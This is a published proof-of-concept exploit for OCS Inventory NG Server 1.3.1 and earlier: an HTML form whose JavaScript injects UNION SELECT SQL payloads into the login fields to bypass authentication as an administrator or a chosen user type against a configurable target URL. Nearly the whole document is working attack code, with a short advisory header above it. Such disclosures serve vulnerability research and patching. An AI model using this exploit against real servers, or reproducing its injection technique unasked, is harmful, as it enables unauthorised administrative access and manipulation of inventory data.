OCS Inventory NG Server 1.3.1 – ‘LOGIN’ Remote Authentication Bypass
<!-- ____________________________________________________________________________________________________ OCS Inventory NG Server <= 1.3.1 (login) Remote Authentication Bypass ____________________________________________________________________________________________________ Software : Open Computer and Software (OCS) Inventory NG Download : http://www.ocsinventory-ng.org/ Discovered by : Nicolas DEROUET (nicolas.derouet[gmail]com) Discover : 2010-02-05 Published : 2010-02-17 Version : 1.3.1 and prior (except 1.02.1 to 1.02.3) Impact : Manipulation of data Remote : Yes (No authentication is needed) ____________________________________________________________________________________________________ --> <html> <head> <title>OCS Inventory NG <= 1.3.1 (login) Remote Authentication Bypass</title> <script> function $(id) { return document.getElementById(id); } function $$(id) { return $(id).options[$(id).options.selectedIndex].value; } function bypass() { $('log').action = $('ocsreports').value + $$('meth') + '?lang=' + $$('lang'); if ($$('type') == 0) $('login').value = "' UNION SELECT id, accesslvl, '' FROM operators WHERE id='" + $('user').value; else $('login').value = "' UNION SELECT '" + $('user').value + "', '" + $$('type') + "', '"; $('pass').value = ""; if ($$('meth') == 'header.php') alert('Please go to "' + $('ocsreports').value + '" (or click on the OCS logo) !'); } </script> </head> <body> <form name="log" id="log" action="#" method="post"> <table align="center" border="0" width="450px"> <tr> <td><b>OCSReports :</b></td> <td> <input type="text" id="ocsreports" size="40" value="http://127.0.0.1/ocsreports/" /> </td> </tr> <tr> <td><b>Version :</b></td> <td><select id="meth"> <option value="index.php" selected><= 1.02 --- 1.3b2 <=> 1.3b3</option> <option value="header.php"><= 1.0 (4100) --- 1.3b2 <=> 1.3.1</option> </select> </td> </tr> <tr> <td><b>Login :</b></td> <td><input type="text" id="user" size="40" value="admin" /></td> </tr> <tr> <td><b>Type :</b></td> <td><select id='type'> <option value=0>Default (if login exists)</option> <option value=1>Administrator</option> <option value=2>User</option> <option value=3>Local user</option> </select></td> </tr> <tr> <td><b>Language :</b></td> <td><select id="lang"> <option value="english" selected>English</option> <option value="french">French</option> <option value="german">German</option> <option value="spanish">Spanish</option> </select> </td> </tr> <tr> <td><input type="hidden" name="login" id="login" /> <input type="hidden" name="pass" id="pass" /></td> <td><input type="submit" name="subLogin" onclick="bypass();"></td> </tr> </table> </form> </body> </html> |